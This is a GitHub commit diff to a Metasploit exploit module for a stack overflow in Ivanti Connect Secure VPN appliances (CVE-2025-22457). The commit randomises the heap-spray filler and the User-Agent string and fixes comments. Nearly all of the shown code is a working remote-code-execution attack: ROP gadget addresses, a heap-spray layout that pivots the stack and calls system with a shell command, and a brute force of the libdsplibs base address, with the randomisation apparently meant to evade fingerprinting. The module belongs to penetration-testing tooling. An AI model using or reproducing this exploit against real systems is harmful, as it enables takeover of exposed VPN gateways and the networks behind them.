Skip to content

Commit 4aea95f

Browse files
Fix from code review
1 parent d83e607 commit 4aea95f

File tree

1 file changed

+65
-39
lines changed

1 file changed

+65
-39
lines changed

modules/exploits/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.rb

Lines changed: 65 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,7 @@ def initialize(info = {})
8080
[
8181
OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]),
8282
OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]),
83-
OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Base address of libdsplibs', 0xf6426000]),
83+
OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Lowest possible base address of libdsplibs', 0xf6426000]),
8484
OptInt.new('BRUTEFORCE_ATTEMPTS', [true, 'The number of attempts to brute force the base address of libdsplibs', 256]),
8585
]
8686
)
@@ -125,7 +125,7 @@ def url_schema
125125
def check
126126
print_status("Checking the product version for #{url_schema}://#{rhost}:#{rport}")
127127

128-
# This has been fixed in version 22.7R2.6, which correspond to 22.7.2 (build 3981)
128+
# This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
129129
# see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
130130
if Rex::Version.new(product_version) < Rex::Version.new('22.7.2.3981')
131131
return CheckCode::Appears("Detected version: #{product_version}")
@@ -141,13 +141,10 @@ def target_data
141141
# 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
142142
'22.7.2.3597' => {
143143
overflow_length: 622,
144-
# 0x0050c7e6: mov esp, ebp; pop ebp; ret;
145-
gadget_mov_esp_ebp_pop_ret: 0x0050c7e6,
144+
gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, # mov esp, ebp; pop ebp; ret;
146145
offset_to_got_plt: 0x0157c000,
147-
# 0x00033222: pop ebx; ret;
148-
gadget_pop_ebx_ret: 0x00033222,
149-
# 0x0087E31F mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
150-
gadget_call_system: 0x0087E31F
146+
gadget_pop_ebx_ret: 0x00033222, # pop ebx; ret;
147+
gadget_call_system: 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
151148
}
152149
}
153150
end
@@ -160,6 +157,35 @@ def send_http_data(data)
160157
raise IvantiNetworkError, "[send_http_data] Error with the socket: #{e}"
161158
end
162159

160+
def user_agent
161+
return @user_agent if @user_agent
162+
163+
# list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
164+
# command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
165+
@user_agent = %w[
166+
v9.12-199-g06afc42b
167+
v9.12-198-gb82f00f7
168+
v9.12-196-g32971c1b
169+
v9.12-195-g9fe01919
170+
v9.12-193-ge4cc8a65
171+
v9.11-21-g3bc9d788
172+
v9.11-20-g3f4f3415
173+
v9.11-19-gf6d2c8d8
174+
v9.11-18-g0b47190f
175+
v9.11-17-g4ca0aa1b
176+
v9.10-26-gd40f4370
177+
v9.10-24-g5d1b0883
178+
v9.10-22-gbaa80279
179+
v9.10-21-g3fbba481
180+
v9.10-17-g15b4c533
181+
v9.01-189-g5aca5431
182+
v9.01-188-gb6b85208
183+
v9.01-187-g299d4444
184+
v9.01-186-gab5f1639
185+
v9.01-185-g77838371
186+
].sample
187+
end
188+
163189
def make_connections
164190
print_status('Making connections...')
165191

@@ -175,7 +201,7 @@ def make_connections
175201

176202
body = "GET / HTTP/1.1\r\n"
177203
body << "Host: #{rhost}:#{rport}\r\n"
178-
body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
204+
body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{user_agent}\r\n"
179205
body << "Content-Type: EAP\r\n"
180206
body << "Upgrade: IF-T/TLS 1.0\r\n"
181207
body << "Content-Length: 0\r\n"
@@ -202,55 +228,55 @@ def make_connections
202228
def spray(libdsplibs_base)
203229
print_status('Spraying...')
204230

205-
padding = 'D' * 128
231+
padding = rand_text(128)
206232

207233
spray_pattern = [
208-
# DWORD , # Address where it will be found after the heap spray
209-
0xCAFEF00D, # 0x39393818:
210-
0xCAFEF01D, # 0x3939381C:
211-
0xCAFEF02D, # 0x39393820:
212-
0xCAFEF03D, # 0x39393824:
234+
# DWORD , # Address where the DWORD will be located after the heap spray
235+
SecureRandom.rand(2**32), # 0x39393818:
236+
SecureRandom.rand(2**32), # 0x3939381C:
237+
SecureRandom.rand(2**32), # 0x39393820:
238+
SecureRandom.rand(2**32), # 0x39393824:
213239

214240
libdsplibs_base + @target[:gadget_mov_esp_ebp_pop_ret], # 0x39393828: <--- initial eip control, stack pivot gadget.
215241
0x39393828 - 0x10, # 0x3939382C:
216-
0xCAFEF06D, # 0x39393830: <--- points here @ ebp (rop: pop ebp)
242+
SecureRandom.rand(2**32), # 0x39393830: <--- points here @ ebp (rop: pop ebp)
217243
libdsplibs_base + @target[:gadget_pop_ebx_ret], # 0x39393834:
218244

219245
libdsplibs_base + @target[:offset_to_got_plt], # 0x39393838: <--- eax (rop pop ebx)
220246
libdsplibs_base + @target[:gadget_call_system], # 0x3939383C:
221-
0xCAFEF0AD, # 0x39393840:
222-
0xCAFEF0BD, # 0x39393844:
247+
SecureRandom.rand(2**32), # 0x39393840:
248+
SecureRandom.rand(2**32), # 0x39393844:
223249

224-
0xCAFEF0CD, # 0x39393848:
225-
0xCAFEF0DD, # 0x3939384C:
226-
0xCAFEF0ED, # 0x39393850:
227-
0xCAFEF0FD, # 0x39393854:
250+
SecureRandom.rand(2**32), # 0x39393848:
251+
SecureRandom.rand(2**32), # 0x3939384C:
252+
SecureRandom.rand(2**32), # 0x39393850:
253+
SecureRandom.rand(2**32), # 0x39393854:
228254

229-
0xCAFEF10D, # 0x39393858:
230-
0x3939382C, # 0x3939385C: <--- 0x39393830+0x2c ->> edx 0x3939382C
231-
0xCAFEF12D, # 0x39393860:
232-
0xCAFEF13D, # 0x39393864:
255+
SecureRandom.rand(2**32), # 0x39393858:
256+
0x3939382C, # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
257+
SecureRandom.rand(2**32), # 0x39393860:
258+
SecureRandom.rand(2**32), # 0x39393864:
233259

234260
0x39393918, # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
235-
0xCAFEF15D, # 0x3939386C:
236-
0xCAFEF16D, # 0x39393870:
237-
0xCAFEF17D, # 0x39393874:
261+
SecureRandom.rand(2**32), # 0x3939386C:
262+
SecureRandom.rand(2**32), # 0x39393870:
263+
SecureRandom.rand(2**32), # 0x39393874:
238264

239-
0xCAFEF18D, # 0x39393878:
240-
0xCAFEF19D, # 0x3939387C:
241-
0xCAFEF1AD, # 0x39393880:
242-
0xCAFEF1BD, # 0x39393884:
265+
SecureRandom.rand(2**32), # 0x39393878:
266+
SecureRandom.rand(2**32), # 0x3939387C:
267+
SecureRandom.rand(2**32), # 0x39393880:
268+
SecureRandom.rand(2**32), # 0x39393884:
243269

244-
0xCAFEF1CD, # 0x39393888:
245-
0x41414141, # 0x3939388C: <--- last EIP after payload exits.
246-
0xCAFEF1ED, # 0x39393890:
247-
0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
270+
SecureRandom.rand(2**32), # 0x39393888:
271+
SecureRandom.rand(2**32), # 0x3939388C:
272+
SecureRandom.rand(2**32), # 0x39393890:
273+
0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
248274

249275
# padding...
250276
# 0x39393918: shell_cmd @ edi
251277
].pack('V*') + padding + @shell_cmd
252278

253-
fail_with(Failure::BadConfig, 'spray_pattern should be 256 bytes') unless spray_pattern.length == 512
279+
fail_with(Failure::BadConfig, 'spray_pattern should be 512 bytes') unless spray_pattern.length == 512
254280

255281
heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)
256282

@@ -351,7 +377,7 @@ def exploit
351377
libdsplibs_base = datastore['LIBDSPLIBS_ADDRESS']
352378

353379
_, elapsed_time = Rex::Stopwatch.elapsed_time do
354-
# with 8 bits of entroy, we should guess correctly every ~256 attempts (2**8).
380+
# with 8 bits of entropy, we should guess correctly every ~256 attempts (2**8).
355381
0.upto(datastore['BRUTEFORCE_ATTEMPTS'] - 1) do
356382
_, attempt_elapsed_time = Rex::Stopwatch.elapsed_time do
357383
attempt_exploit(libdsplibs_base)

0 commit comments

Comments
 (0)